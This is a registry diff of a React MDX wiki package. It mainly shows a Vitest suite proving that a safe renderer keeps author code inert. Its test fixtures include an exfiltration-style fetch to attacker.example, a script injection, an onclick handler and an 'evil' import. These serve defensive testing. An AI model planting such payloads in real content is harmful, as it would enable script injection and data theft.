@immediately-run/grove 0.1.1
This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
- package/README.md +122 -0
- package/docs/ENGINE_BOUNDARY.md +233 -0
- package/llms.txt +115 -0
- package/package.json +82 -0
- package/src/App.tsx +131 -0
- package/src/GroveApp.css +2774 -0
- package/src/GroveWiki.tsx +386 -0
- package/src/components/AssetImage.tsx +58 -0
- package/src/components/Backlinks.tsx +104 -0
- package/src/components/Callout.tsx +26 -0
- package/src/components/ChildPages.tsx +40 -0
- package/src/components/DefaultLayout.tsx +27 -0
- package/src/components/Directory.tsx +65 -0
- package/src/components/DirectoryList.test.tsx +275 -0
- package/src/components/DirectoryList.tsx +189 -0
- package/src/components/DirectoryView.tsx +68 -0
- package/src/components/DocList.tsx +109 -0
- package/src/components/DocsByTag.tsx +13 -0
- package/src/components/Drawer.tsx +45 -0
- package/src/components/EntryHeader.tsx +51 -0
- package/src/components/FamilyTree.tsx +95 -0
- package/src/components/GroveAgent.tsx +264 -0
- package/src/components/GroveFooter.tsx +20 -0
- package/src/components/GroveNav.tsx +102 -0
- package/src/components/Icon.tsx +56 -0
- package/src/components/Infobox.tsx +19 -0
- package/src/components/Kbd.tsx +10 -0
- package/src/components/KeyValue.tsx +32 -0
- package/src/components/Lede.tsx +6 -0
- package/src/components/More.tsx +10 -0
- package/src/components/Outlet.tsx +11 -0
- package/src/components/PageMeta.tsx +24 -0
- package/src/components/PageView.tsx +98 -0
- package/src/components/Quote.tsx +36 -0
- package/src/components/RecentlyUpdated.tsx +6 -0
- package/src/components/SafeEntryBody.tsx +72 -0
- package/src/components/SafeLayout.tsx +35 -0
- package/src/components/ScrollToFragment.tsx +63 -0
- package/src/components/Search.tsx +127 -0
- package/src/components/Sidebar.tsx +118 -0
- package/src/components/TableOfContents.test.tsx +163 -0
- package/src/components/TableOfContents.tsx +101 -0
- package/src/components/TagCloud.tsx +46 -0
- package/src/components/TagList.tsx +31 -0
- package/src/components/Timeline.tsx +55 -0
- package/src/components/Toc.tsx +14 -0
- package/src/components/WikiLink.tsx +112 -0
- package/src/data/themes.ts +14 -0
- package/src/devfs.d.ts +4 -0
- package/src/hooks/useContentComponents.ts +122 -0
- package/src/hooks/useCorpusMetadata.ts +43 -0
- package/src/hooks/useDirectoryListing.ts +56 -0
- package/src/hooks/useHeadings.ts +96 -0
- package/src/hooks/useOpenWikiBoot.ts +95 -0
- package/src/index.css +120 -0
- package/src/lib/compose.test.ts +92 -0
- package/src/lib/compose.ts +99 -0
- package/src/lib/content.test.ts +269 -0
- package/src/lib/content.ts +267 -0
- package/src/lib/contentRoot.ts +61 -0
- package/src/lib/corpusComponents.test.ts +101 -0
- package/src/lib/corpusComponents.ts +117 -0
- package/src/lib/corpusScan.test.ts +157 -0
- package/src/lib/corpusScan.ts +105 -0
- package/src/lib/directory.test.ts +216 -0
- package/src/lib/directory.ts +262 -0
- package/src/lib/fragment.test.ts +88 -0
- package/src/lib/fragment.ts +55 -0
- package/src/lib/frontmatter.ts +26 -0
- package/src/lib/layout.ts +84 -0
- package/src/lib/openWiki.test.ts +216 -0
- package/src/lib/openWiki.ts +84 -0
- package/src/lib/queries.test.ts +74 -0
- package/src/lib/queries.ts +84 -0
- package/src/lib/safeIntrinsics.test.tsx +99 -0
- package/src/lib/safeIntrinsics.tsx +77 -0
- package/src/lib/safeRender.test.ts +359 -0
- package/src/lib/safeSources.ts +25 -0
- package/src/lib/shell.ts +71 -0
- package/src/lib/sourceCache.test.ts +66 -0
- package/src/lib/sourceCache.ts +42 -0
- package/src/lib/tocScroll.test.ts +71 -0
- package/src/lib/tocScroll.ts +93 -0
- package/src/lib/wiki.test.ts +194 -0
- package/src/lib/wiki.ts +175 -0
- package/src/lib.ts +54 -0
- package/src/main.tsx +19 -0
- package/src/mdx.d.ts +9 -0
- package/src/mdxComponents.ts +89 -0
- package/src/test/setup.ts +19 -0
- package/viewer-manifest.schema.json +62 -0
- package/viewer.manifest.json +267 -0
|
@@ -0,0 +1,359 @@
|
|
|
1
|
+
import { describe, it, expect, vi } from 'vitest';
|
|
2
|
+
import { readFileSync, readdirSync } from 'node:fs';
|
|
3
|
+
import { join } from 'node:path';
|
|
4
|
+
import { parseSafeMdast, renderMdast } from '@immediately-run/sdk/safeContent/index';
|
|
5
|
+
import { renderToStaticMarkup } from 'react-dom/server';
|
|
6
|
+
import { SAFE_INTRINSICS } from './safeIntrinsics';
|
|
7
|
+
|
|
8
|
+
// The NON-EXECUTABLE surface, proven rather than asserted (R3-217 / R3-219 exit).
|
|
9
|
+
//
|
|
10
|
+
// **This sweep is deliberately independent of how the app renders (R3-252).** The wiki
|
|
11
|
+
// itself left interpreter mode — `render: safe` is gone from `content/home.mdx` and
|
|
12
|
+
// entries go through the compiled `<Include>` path, because the corpus and the app ship
|
|
13
|
+
// from the same repo under the same author identity, so there is no origin boundary here
|
|
14
|
+
// for the safe renderer to defend (`TRUST_MODES §5`: interpreter-vs-executor is a design
|
|
15
|
+
// choice, not a capability gate). What the safe renderer *does* need is a large, real,
|
|
16
|
+
// multi-author corpus to be exercised against, and that is what this file is: the SDK's
|
|
17
|
+
// regression harness, run on every `npm run verify`, keeping the platform's signal after
|
|
18
|
+
// the app stopped depending on it — and keeping the flip reversible by one frontmatter
|
|
19
|
+
// line. Do not delete these because "the wiki doesn't render this way any more."
|
|
20
|
+
//
|
|
21
|
+
// These cases drive the REAL published safe renderer — the same
|
|
22
|
+
// `@immediately-run/sdk` build the sandbox resolves on immediately.run, because the
|
|
23
|
+
// host resolves the app's *pinned* dependency — over the REAL generated corpus. They
|
|
24
|
+
// establish two things the wiki's safety claim rests on:
|
|
25
|
+
//
|
|
26
|
+
// 1. author JavaScript in an entry never executes and never reaches the DOM as
|
|
27
|
+
// markup (TRUST_MODES §5.1), and
|
|
28
|
+
// 2. a `§`-citation deep-link lands on a heading id that actually exists.
|
|
29
|
+
//
|
|
30
|
+
// What they deliberately do NOT prove is the browser half: that the resolved fragment
|
|
31
|
+
// *scrolls*. That is `scrollToId` in the host, and it needs a real page — the
|
|
32
|
+
// on-host verification the item calls for. Everything upstream of it is checked here,
|
|
33
|
+
// so an on-host failure can only be the scroll, never the renderer or the ids.
|
|
34
|
+
|
|
35
|
+
const CONTENT = join(process.cwd(), 'content');
|
|
36
|
+
|
|
37
|
+
function read(rel: string): string {
|
|
38
|
+
return readFileSync(join(CONTENT, rel), 'utf8').replace(/^---\n[\s\S]*?\n---\n?/, '');
|
|
39
|
+
}
|
|
40
|
+
|
|
41
|
+
// Parsing ~350 entries takes seconds, and two cases need the same trees, so the sweep
|
|
42
|
+
// runs once and both await it.
|
|
43
|
+
const CORPUS_TIMEOUT = 60_000;
|
|
44
|
+
|
|
45
|
+
/** Every content entry in the wiki — generated and hand-authored alike. Walked rather
|
|
46
|
+
* than listed, so a corpus that grows (specs, context, status) is covered without
|
|
47
|
+
* anyone remembering to extend this test. */
|
|
48
|
+
function allEntries(dir = ''): string[] {
|
|
49
|
+
const out: string[] = [];
|
|
50
|
+
for (const e of readdirSync(join(CONTENT, dir), { withFileTypes: true })) {
|
|
51
|
+
const rel = dir ? `${dir}/${e.name}` : e.name;
|
|
52
|
+
if (e.isDirectory()) out.push(...allEntries(rel));
|
|
53
|
+
else if (e.name.endsWith('.mdx') && !e.name.startsWith('_')) out.push(rel);
|
|
54
|
+
}
|
|
55
|
+
return out.sort();
|
|
56
|
+
}
|
|
57
|
+
|
|
58
|
+
/** Every node of a type, anywhere in the tree. */
|
|
59
|
+
// eslint-disable-next-line @typescript-eslint/no-explicit-any
|
|
60
|
+
function nodesOfType(tree: any, type: string): any[] {
|
|
61
|
+
// eslint-disable-next-line @typescript-eslint/no-explicit-any
|
|
62
|
+
const out: any[] = [];
|
|
63
|
+
// eslint-disable-next-line @typescript-eslint/no-explicit-any
|
|
64
|
+
const walk = (n: any) => {
|
|
65
|
+
if (!n || typeof n !== 'object') return;
|
|
66
|
+
if (n.type === type) out.push(n);
|
|
67
|
+
for (const c of n.children ?? []) walk(c);
|
|
68
|
+
};
|
|
69
|
+
walk(tree);
|
|
70
|
+
return out;
|
|
71
|
+
}
|
|
72
|
+
|
|
73
|
+
/** As {@link textOf}, but skipping `code`/`inlineCode` — the text a READER sees as prose.
|
|
74
|
+
* A `[[…]]` inside a fence is a documented example and must survive; one in prose is a
|
|
75
|
+
* citation the wiki-link plugin failed to consume. The two need different assertions. */
|
|
76
|
+
// eslint-disable-next-line @typescript-eslint/no-explicit-any
|
|
77
|
+
function textOfExcludingCode(tree: any): string {
|
|
78
|
+
let s = '';
|
|
79
|
+
// eslint-disable-next-line @typescript-eslint/no-explicit-any
|
|
80
|
+
const walk = (n: any) => {
|
|
81
|
+
if (!n || typeof n !== 'object') return;
|
|
82
|
+
if (n.type === 'code' || n.type === 'inlineCode') return;
|
|
83
|
+
if (typeof n.value === 'string') s += n.value;
|
|
84
|
+
for (const c of n.children ?? []) walk(c);
|
|
85
|
+
};
|
|
86
|
+
walk(tree);
|
|
87
|
+
return s;
|
|
88
|
+
}
|
|
89
|
+
|
|
90
|
+
/** Flatten every literal string the tree would render as text. */
|
|
91
|
+
// eslint-disable-next-line @typescript-eslint/no-explicit-any
|
|
92
|
+
function textOf(tree: any): string {
|
|
93
|
+
let s = '';
|
|
94
|
+
// eslint-disable-next-line @typescript-eslint/no-explicit-any
|
|
95
|
+
const walk = (n: any) => {
|
|
96
|
+
if (!n || typeof n !== 'object') return;
|
|
97
|
+
if (typeof n.value === 'string') s += n.value;
|
|
98
|
+
for (const c of n.children ?? []) walk(c);
|
|
99
|
+
};
|
|
100
|
+
walk(tree);
|
|
101
|
+
return s;
|
|
102
|
+
}
|
|
103
|
+
|
|
104
|
+
describe('non-executable surface — planted code is inert', () => {
|
|
105
|
+
it('a `{fetch()}` expression is literal text, not an evaluated expression', async () => {
|
|
106
|
+
const spy = vi.spyOn(globalThis, 'fetch');
|
|
107
|
+
const tree = await parseSafeMdast('Before {fetch("/x")} after.\n');
|
|
108
|
+
// No expression node exists at all: the mdx *expression* extension is off, so the
|
|
109
|
+
// braces never even become a syntactic expression — they stay characters.
|
|
110
|
+
expect(nodesOfType(tree, 'mdxFlowExpression')).toHaveLength(0);
|
|
111
|
+
expect(nodesOfType(tree, 'mdxTextExpression')).toHaveLength(0);
|
|
112
|
+
expect(textOf(tree)).toContain('{fetch("/x")}');
|
|
113
|
+
expect(spy).not.toHaveBeenCalled();
|
|
114
|
+
spy.mockRestore();
|
|
115
|
+
});
|
|
116
|
+
|
|
117
|
+
it('a `<script>` block survives as literal text, never as markup', async () => {
|
|
118
|
+
const tree = await parseSafeMdast('<script>globalThis.__pwned = 1</script>\n');
|
|
119
|
+
// Raw HTML is an `html` node, which renderMdast emits as a text Fragment — there is
|
|
120
|
+
// no rehype-raw and no dangerouslySetInnerHTML anywhere on this path.
|
|
121
|
+
const html = nodesOfType(tree, 'html');
|
|
122
|
+
expect(html.length).toBeGreaterThan(0);
|
|
123
|
+
expect(html.map((n) => n.value).join('')).toContain('<script>');
|
|
124
|
+
expect((globalThis as Record<string, unknown>).__pwned).toBeUndefined();
|
|
125
|
+
});
|
|
126
|
+
|
|
127
|
+
it('an import/export line does not become an ESM node', async () => {
|
|
128
|
+
const tree = await parseSafeMdast('import evil from "./evil.js"\n\nexport const x = 1\n');
|
|
129
|
+
expect(nodesOfType(tree, 'mdxjsEsm')).toHaveLength(0);
|
|
130
|
+
});
|
|
131
|
+
|
|
132
|
+
it('an unknown component collapses to its children (no arbitrary element)', async () => {
|
|
133
|
+
const tree = await parseSafeMdast('<Danger onClick="steal()">visible</Danger>\n');
|
|
134
|
+
const el = nodesOfType(tree, 'mdxJsxFlowElement').concat(nodesOfType(tree, 'mdxJsxTextElement'));
|
|
135
|
+
expect(el.length).toBeGreaterThan(0);
|
|
136
|
+
// The NAME is all the renderer uses — it looks the name up in the component map and
|
|
137
|
+
// renders the children when it finds nothing. The `onClick` attribute is a literal
|
|
138
|
+
// string on an mdast node that is never applied to a DOM element.
|
|
139
|
+
expect(textOf(tree)).toContain('visible');
|
|
140
|
+
});
|
|
141
|
+
|
|
142
|
+
it('holds over the real corpus: every entry parses, and none carries an executable node', async () => {
|
|
143
|
+
const files = allEntries();
|
|
144
|
+
// Non-vacuity guard, sized to THIS repo's sample corpus. The `docs` wiki runs the
|
|
145
|
+
// same sweep over ~350 entries and keeps that guard at >280 (R3-252: a large, real,
|
|
146
|
+
// multi-author corpus is the platform's regression signal, and it stays there). Here
|
|
147
|
+
// the sweep proves the property holds over whatever the engine ships as its example
|
|
148
|
+
// content — a smaller claim, honestly sized, not the same claim with the bar lowered.
|
|
149
|
+
expect(files.length).toBeGreaterThan(10);
|
|
150
|
+
// Collected rather than asserted per file: MDX throws on the FIRST malformed entry,
|
|
151
|
+
// and a failure that names one file at a time turns a corpus sweep into N runs.
|
|
152
|
+
const failures: string[] = [];
|
|
153
|
+
for (const rel of files) {
|
|
154
|
+
try {
|
|
155
|
+
const tree = await parseSafeMdast(read(rel));
|
|
156
|
+
for (const t of ['mdxFlowExpression', 'mdxTextExpression', 'mdxjsEsm']) {
|
|
157
|
+
if (nodesOfType(tree, t).length) failures.push(`${rel}: executable ${t}`);
|
|
158
|
+
}
|
|
159
|
+
} catch (e) {
|
|
160
|
+
// A parse error is not cosmetic — the entry renders nothing at all.
|
|
161
|
+
failures.push(`${rel}: ${(e as Error).message}`);
|
|
162
|
+
}
|
|
163
|
+
}
|
|
164
|
+
expect(failures).toEqual([]);
|
|
165
|
+
}, CORPUS_TIMEOUT);
|
|
166
|
+
});
|
|
167
|
+
|
|
168
|
+
describe('deep-linking — the ids a citation targets really exist', () => {
|
|
169
|
+
it('the renderer emits `sec-…` ids for numbered headings', async () => {
|
|
170
|
+
const tree = await parseSafeMdast('## 8.9 Powerbox\n\nbody\n\n## Decisions\n');
|
|
171
|
+
const ids = nodesOfType(tree, 'heading').map((h) => h.data?.hProperties?.id);
|
|
172
|
+
expect(ids).toContain('sec-8-9');
|
|
173
|
+
expect(ids).toContain('decisions');
|
|
174
|
+
});
|
|
175
|
+
|
|
176
|
+
it('a numbered heading also keeps its prose slug as a landing hook', async () => {
|
|
177
|
+
const tree = await parseSafeMdast('## 8.9 Powerbox\n');
|
|
178
|
+
const h = nodesOfType(tree, 'heading')[0];
|
|
179
|
+
expect(h.data.hProperties.id).toBe('sec-8-9');
|
|
180
|
+
expect(h.data.hProperties['data-slug']).toBe('89-powerbox');
|
|
181
|
+
});
|
|
182
|
+
|
|
183
|
+
it('`[[target#frag]]` becomes a WikiLink carrying the whole target', async () => {
|
|
184
|
+
const tree = await parseSafeMdast('See [[../roadmap/R3-217.mdx#sec-1]].\n');
|
|
185
|
+
const links = nodesOfType(tree, 'mdxJsxTextElement').filter((n) => n.name === 'WikiLink');
|
|
186
|
+
expect(links).toHaveLength(1);
|
|
187
|
+
// eslint-disable-next-line @typescript-eslint/no-explicit-any
|
|
188
|
+
const target = links[0].attributes.find((a: any) => a.name === 'target')?.value;
|
|
189
|
+
expect(target).toBe('../roadmap/R3-217.mdx#sec-1');
|
|
190
|
+
});
|
|
191
|
+
|
|
192
|
+
it('a corpus entry`s `[[…]]` citations all become WikiLink nodes — none survive as text', async () => {
|
|
193
|
+
// R3-252 recorded that `[[…]]` rendered as inert TEXT because the app passes no
|
|
194
|
+
// `resolveWikiLink`. That read the wrong path: `renderMdast`'s `splitWikiLinks`
|
|
195
|
+
// fallback only ever sees `[[…]]` that reach it AS TEXT, and `parseSafeMdast` runs
|
|
196
|
+
// the shared wiki-link remark plugin first — so they are already `WikiLink` JSX
|
|
197
|
+
// nodes, resolved from the component map. Measured here rather than argued, so the
|
|
198
|
+
// claim cannot be re-litigated from reading alone.
|
|
199
|
+
//
|
|
200
|
+
// FIXTURE rather than a corpus read (R3-262): the `docs` wiki runs this against a
|
|
201
|
+
// real citation-dense entry (`context/ways_of_working.mdx`, 10 WikiLink nodes) and
|
|
202
|
+
// keeps doing so. This engine's sample corpus writes no `[[…]]` at all, so a corpus
|
|
203
|
+
// read here would assert nothing — and an assertion that cannot fail is worse than
|
|
204
|
+
// no assertion. The fixture is citation-dense on purpose and includes a fenced
|
|
205
|
+
// literal, so the "strip code first" rule below is exercised, not merely stated.
|
|
206
|
+
const src = [
|
|
207
|
+
'Read [[home.mdx]] first, then [[handbook/onboarding.mdx]] and',
|
|
208
|
+
'[[people/index.mdx#sec-2]] — and see [[the directory|directory.mdx]] for the rest.',
|
|
209
|
+
'Also [[teams/index.mdx]], [[processes/index.mdx]] and [[reports/index.mdx#sec-1]].',
|
|
210
|
+
'',
|
|
211
|
+
'A documented example is not a live citation:',
|
|
212
|
+
'',
|
|
213
|
+
'```md',
|
|
214
|
+
'[[some/target.mdx]]',
|
|
215
|
+
'```',
|
|
216
|
+
'',
|
|
217
|
+
'Inline too: `[[not-a-citation.mdx]]`.',
|
|
218
|
+
].join('\n');
|
|
219
|
+
const tree = await parseSafeMdast(src);
|
|
220
|
+
const wikiLinks = nodesOfType(tree, 'mdxJsxTextElement').filter((n) => n.name === 'WikiLink');
|
|
221
|
+
expect(wikiLinks.length).toBeGreaterThan(5);
|
|
222
|
+
// Every one carries the author's target verbatim.
|
|
223
|
+
for (const n of wikiLinks) {
|
|
224
|
+
// eslint-disable-next-line @typescript-eslint/no-explicit-any
|
|
225
|
+
expect(n.attributes.find((a: any) => a.name === 'target')?.value).toBeTruthy();
|
|
226
|
+
}
|
|
227
|
+
// Nothing is left as raw `[[` outside code — a `[[` surviving in prose is a citation
|
|
228
|
+
// the plugin failed to consume, the exact failure R3-252 claimed was happening
|
|
229
|
+
// everywhere. Code is excluded because the renderer emits `inlineCode`/`code` values
|
|
230
|
+
// into the same walk and a DOCUMENTED example must survive verbatim; asserting both
|
|
231
|
+
// halves here is stronger than the corpus version, which only ever saw the first.
|
|
232
|
+
expect(textOfExcludingCode(tree)).not.toContain('[[');
|
|
233
|
+
expect(textOf(tree)).toContain('[[some/target.mdx]]');
|
|
234
|
+
expect(textOf(tree)).toContain('[[not-a-citation.mdx]]');
|
|
235
|
+
}, CORPUS_TIMEOUT);
|
|
236
|
+
|
|
237
|
+
it('every deep-link in the corpus resolves to a heading the renderer emits', async () => {
|
|
238
|
+
// The check runs against the ids the SHIPPED renderer actually produces, closing the
|
|
239
|
+
// gap between "the author believes the anchor exists" and "the anchor exists".
|
|
240
|
+
//
|
|
241
|
+
// R3-262: this engine's sample corpus writes no `[[…#frag]]` citations, so the sweep
|
|
242
|
+
// has nothing to check and its `checked > 0` guard would FAIL — correctly, because a
|
|
243
|
+
// green sweep over zero deep-links proves nothing. Rather than delete the guard (which
|
|
244
|
+
// would leave a permanently vacuous test) or delete the case (which would drop the
|
|
245
|
+
// property), the sweep runs over the corpus PLUS a fixture entry that does carry
|
|
246
|
+
// citations, so the machinery is exercised here and the corpus is still covered the
|
|
247
|
+
// moment it grows one. The `docs` wiki runs the same case over ~1000 real citations.
|
|
248
|
+
const FIXTURE = '__deep-link-fixture__.mdx';
|
|
249
|
+
const FIXTURE_SRC = [
|
|
250
|
+
'## 1. First',
|
|
251
|
+
'See [[#sec-2]] and [[home.mdx]].',
|
|
252
|
+
'',
|
|
253
|
+
'## 2. Second',
|
|
254
|
+
'Back to [[#sec-1]].',
|
|
255
|
+
].join('\n');
|
|
256
|
+
const files = allEntries();
|
|
257
|
+
const idsByPath = new Map<string, Set<string>>();
|
|
258
|
+
const sourceByPath = new Map<string, string>();
|
|
259
|
+
for (const rel of [...files, FIXTURE]) {
|
|
260
|
+
const src = rel === FIXTURE ? FIXTURE_SRC : read(rel);
|
|
261
|
+
sourceByPath.set(rel, src);
|
|
262
|
+
const tree = await parseSafeMdast(src);
|
|
263
|
+
const ids = new Set<string>();
|
|
264
|
+
for (const h of nodesOfType(tree, 'heading')) {
|
|
265
|
+
const hp = h.data?.hProperties ?? {};
|
|
266
|
+
if (hp.id) ids.add(hp.id);
|
|
267
|
+
if (hp['data-slug']) ids.add(hp['data-slug']);
|
|
268
|
+
}
|
|
269
|
+
idsByPath.set(rel, ids);
|
|
270
|
+
}
|
|
271
|
+
|
|
272
|
+
const normalize = (from: string, target: string) => {
|
|
273
|
+
const parts = from.split('/').slice(0, -1).concat(target.split('/'));
|
|
274
|
+
const out: string[] = [];
|
|
275
|
+
for (const seg of parts) {
|
|
276
|
+
if (seg === '' || seg === '.') continue;
|
|
277
|
+
if (seg === '..') out.pop();
|
|
278
|
+
else out.push(seg);
|
|
279
|
+
}
|
|
280
|
+
return out.join('/');
|
|
281
|
+
};
|
|
282
|
+
|
|
283
|
+
const dangling: string[] = [];
|
|
284
|
+
let checked = 0;
|
|
285
|
+
for (const [rel, src] of sourceByPath) {
|
|
286
|
+
const scrubbed = src.replace(/```[\s\S]*?```/g, '').replace(/`[^`]*`/g, '');
|
|
287
|
+
for (const m of scrubbed.matchAll(/\[\[(?:[^\]|]*\|)?([^\]#|]*)#([^\]]+)\]\]/g)) {
|
|
288
|
+
const path = m[1] === '' ? rel : normalize(rel, m[1]);
|
|
289
|
+
const ids = idsByPath.get(path);
|
|
290
|
+
if (!ids) continue; // outside the generated set — not this test's corpus
|
|
291
|
+
checked++;
|
|
292
|
+
if (!ids.has(m[2])) dangling.push(`${rel} → ${path}#${m[2]}`);
|
|
293
|
+
}
|
|
294
|
+
}
|
|
295
|
+
expect(checked).toBeGreaterThan(0);
|
|
296
|
+
expect(dangling).toEqual([]);
|
|
297
|
+
}, CORPUS_TIMEOUT);
|
|
298
|
+
});
|
|
299
|
+
|
|
300
|
+
// ── The LAYOUT chain is non-executable too (R3-263) ───────────────────────────────────
|
|
301
|
+
//
|
|
302
|
+
// `SafeEntryBody` covered entry bodies from R3-213; the `_layout.mdx` chain went through
|
|
303
|
+
// `<Include>` — the COMPILED path — regardless of `render: safe`, so an "interpreter" wiki
|
|
304
|
+
// still executed author JavaScript out of one content file. These cases prove the same
|
|
305
|
+
// property for the shell that R3-219 proved for the entries.
|
|
306
|
+
describe('the layout chain renders non-executably', () => {
|
|
307
|
+
const LAYOUT = join(process.cwd(), 'content', '_layout.mdx');
|
|
308
|
+
|
|
309
|
+
it('the real `_layout.mdx` survives the safe parse as a component chain', async () => {
|
|
310
|
+
const src = readFileSync(LAYOUT, 'utf8').replace(/^---\n[\s\S]*?\n---\n?/, '');
|
|
311
|
+
const tree = await parseSafeMdast(src);
|
|
312
|
+
const names = nodesOfType(tree, 'mdxJsxFlowElement').map((n) => n.name);
|
|
313
|
+
// The shell primitives resolve BY NAME from the component map, and `<Outlet/>` — the
|
|
314
|
+
// hinge the whole chain nests on — is among them.
|
|
315
|
+
expect(names).toContain('GroveNav');
|
|
316
|
+
expect(names).toContain('GroveSidebar');
|
|
317
|
+
expect(names).toContain('GroveFooter');
|
|
318
|
+
expect(names).toContain('Outlet');
|
|
319
|
+
// No executable node anywhere: the layout's `{/* … */}` comment must not survive as an
|
|
320
|
+
// expression, and nothing may become an ESM import.
|
|
321
|
+
expect(nodesOfType(tree, 'mdxFlowExpression')).toHaveLength(0);
|
|
322
|
+
expect(nodesOfType(tree, 'mdxjsEsm')).toHaveLength(0);
|
|
323
|
+
});
|
|
324
|
+
|
|
325
|
+
it('planted code in a LAYOUT is inert — no script, no evaluation, no handler', async () => {
|
|
326
|
+
const planted = [
|
|
327
|
+
'import evil from "./evil.js"',
|
|
328
|
+
'',
|
|
329
|
+
'<main className="grove-content" onclick="alert(1)">',
|
|
330
|
+
' {fetch("https://attacker.example/steal")}',
|
|
331
|
+
' <script>globalThis.__pwned = 1</script>',
|
|
332
|
+
'</main>',
|
|
333
|
+
].join('\n');
|
|
334
|
+
const spy = vi.spyOn(globalThis, 'fetch');
|
|
335
|
+
const tree = await parseSafeMdast(planted);
|
|
336
|
+
const html = renderToStaticMarkup(renderMdast(tree, { components: SAFE_INTRINSICS as never }) as never);
|
|
337
|
+
|
|
338
|
+
expect(spy).not.toHaveBeenCalled();
|
|
339
|
+
expect((globalThis as Record<string, unknown>).__pwned).toBeUndefined();
|
|
340
|
+
// The `<script>` survives as ESCAPED TEXT, never as markup.
|
|
341
|
+
expect(html).not.toContain('<script');
|
|
342
|
+
expect(html).toContain('<script>');
|
|
343
|
+
// The expression is captured as an inert string, and the handler never reaches the DOM.
|
|
344
|
+
expect(html).not.toContain('onclick');
|
|
345
|
+
expect(html).toContain('fetch(');
|
|
346
|
+
// (GFM autolinks the URL inside that inert string, so the text carries an <a href>. That
|
|
347
|
+
// is a link the reader may click, not code the page runs — browser-parity, and `sanitizeUrl`
|
|
348
|
+
// still gates the scheme. Asserted so the anchor is not mistaken for an execution leak.)
|
|
349
|
+
// The import line is never RESOLVED — but note what actually happens to it, because it
|
|
350
|
+
// is not what "the ESM node renders as null" would suggest: with the ESM extension off
|
|
351
|
+
// no `mdxjsEsm` node is produced at all, so the line survives as ordinary paragraph
|
|
352
|
+
// TEXT. Inert either way, but visible — an author who pastes an import into a layout
|
|
353
|
+
// sees it printed on the page rather than silently ignored.
|
|
354
|
+
expect(nodesOfType(tree, 'mdxjsEsm')).toHaveLength(0);
|
|
355
|
+
expect(html).toContain('<p>import evil from');
|
|
356
|
+
expect(html).not.toContain('<script src');
|
|
357
|
+
spy.mockRestore();
|
|
358
|
+
});
|
|
359
|
+
});
|
|
@@ -0,0 +1,25 @@
|
|
|
1
|
+
import fs from 'fs';
|
|
2
|
+
import { createSourceCache } from './sourceCache';
|
|
3
|
+
|
|
4
|
+
// The ONE raw-source cache the interpreter path reads through — entry bodies
|
|
5
|
+
// (`SafeEntryBody`) and layout files (`SafeLayout`) alike. (R3-263)
|
|
6
|
+
//
|
|
7
|
+
// Shared rather than one-per-component for two reasons. React `use()` needs a STABLE
|
|
8
|
+
// promise across renders, so the cache must outlive any single component; and a layout is
|
|
9
|
+
// re-read on every navigation while the layout file itself rarely changes, so one cache
|
|
10
|
+
// turns the whole chain into a single read per file per session instead of a read per page.
|
|
11
|
+
//
|
|
12
|
+
// The failure behaviour lives in `sourceCache` and is the interesting part: a rejected read
|
|
13
|
+
// is EVICTED rather than memoised, because the host↔sandbox RPC drops requests during a
|
|
14
|
+
// navigation and a rejected promise left in the cache is returned to every later render —
|
|
15
|
+
// which made an entry permanently blank for the rest of the session.
|
|
16
|
+
// Keyed by the ABSOLUTE path, not a repo-relative one (R3-265). `openAppFs()` is scoped to
|
|
17
|
+
// the APP's repo, which is right for a fork and wrong for a dispatched viewer — the corpus
|
|
18
|
+
// then lives at a host-minted chroot, and an app-scoped read would either miss it or find
|
|
19
|
+
// the viewer's own entry of the same name. The unified `fs` namespace addresses both: a
|
|
20
|
+
// fork's `/app/content/x.mdx` and a dispatched `/task/<slot>/dir/x.mdx` are the same kind of
|
|
21
|
+
// path, which is also the key the metadata index uses, so one identifier now reads a body
|
|
22
|
+
// and its metadata.
|
|
23
|
+
export const safeSources = createSourceCache(
|
|
24
|
+
(absPath) => fs.promises.readFile(absPath, 'utf8') as Promise<string>
|
|
25
|
+
);
|
package/src/lib/shell.ts
ADDED
|
@@ -0,0 +1,71 @@
|
|
|
1
|
+
// Shell state shared between the engine root (App) and the chrome components the
|
|
2
|
+
// LAYOUT arranges (GroveNav, GroveSidebar, GroveFooter, PageView). The chrome's
|
|
3
|
+
// interactive brains stay in React; only their *placement* moved into content
|
|
4
|
+
// (`_layout.mdx`). Those components read this context, so a layout can arrange
|
|
5
|
+
// them anywhere and they still work.
|
|
6
|
+
//
|
|
7
|
+
// This file exports only contexts/hooks/types (no components) so it's exempt from
|
|
8
|
+
// the Fast-Refresh "components-only" rule.
|
|
9
|
+
import { createContext, useContext } from 'react';
|
|
10
|
+
import type { ReactNode } from 'react';
|
|
11
|
+
import type { DirectoryListing } from '../hooks/useDirectoryListing';
|
|
12
|
+
|
|
13
|
+
export interface NavItem {
|
|
14
|
+
key: string;
|
|
15
|
+
href: string;
|
|
16
|
+
label: string;
|
|
17
|
+
}
|
|
18
|
+
|
|
19
|
+
/** Everything the arranged chrome needs, provided once by App at the engine root. */
|
|
20
|
+
export interface GroveShell {
|
|
21
|
+
// Theme / appearance
|
|
22
|
+
theme: string;
|
|
23
|
+
setTheme: (t: string) => void;
|
|
24
|
+
light: boolean;
|
|
25
|
+
setLight: (v: boolean) => void;
|
|
26
|
+
menuOpen: boolean;
|
|
27
|
+
setMenuOpen: (v: boolean | ((o: boolean) => boolean)) => void;
|
|
28
|
+
// Overlays
|
|
29
|
+
searchOpen: boolean;
|
|
30
|
+
setSearchOpen: (v: boolean) => void;
|
|
31
|
+
drawerOpen: boolean;
|
|
32
|
+
setDrawerOpen: (v: boolean) => void;
|
|
33
|
+
// Environment
|
|
34
|
+
vw: 'mobile' | 'desktop';
|
|
35
|
+
navMode: 'top' | 'side';
|
|
36
|
+
writable: boolean;
|
|
37
|
+
siteTitle: string;
|
|
38
|
+
/** Interpreter mode (TRUST_MODES §5): render this entry's body through the
|
|
39
|
+
* non-executable safe renderer (R3-213) instead of the compiled/executable `<Include>`
|
|
40
|
+
* path. Driven by `render: safe` on the HOME entry (wiki-wide) or on the entry itself
|
|
41
|
+
* (per-entry, R3-252); default false (compiled MDX). */
|
|
42
|
+
safe: boolean;
|
|
43
|
+
navItems: NavItem[];
|
|
44
|
+
// Current entry (the page the innermost <Outlet/> renders)
|
|
45
|
+
entryKey: string;
|
|
46
|
+
includePath: string;
|
|
47
|
+
layout: string;
|
|
48
|
+
showRails: boolean;
|
|
49
|
+
mins: number;
|
|
50
|
+
missing: boolean;
|
|
51
|
+
suggestion?: string;
|
|
52
|
+
/** Whether the current URL names a FOLDER rather than an entry, and what is in it.
|
|
53
|
+
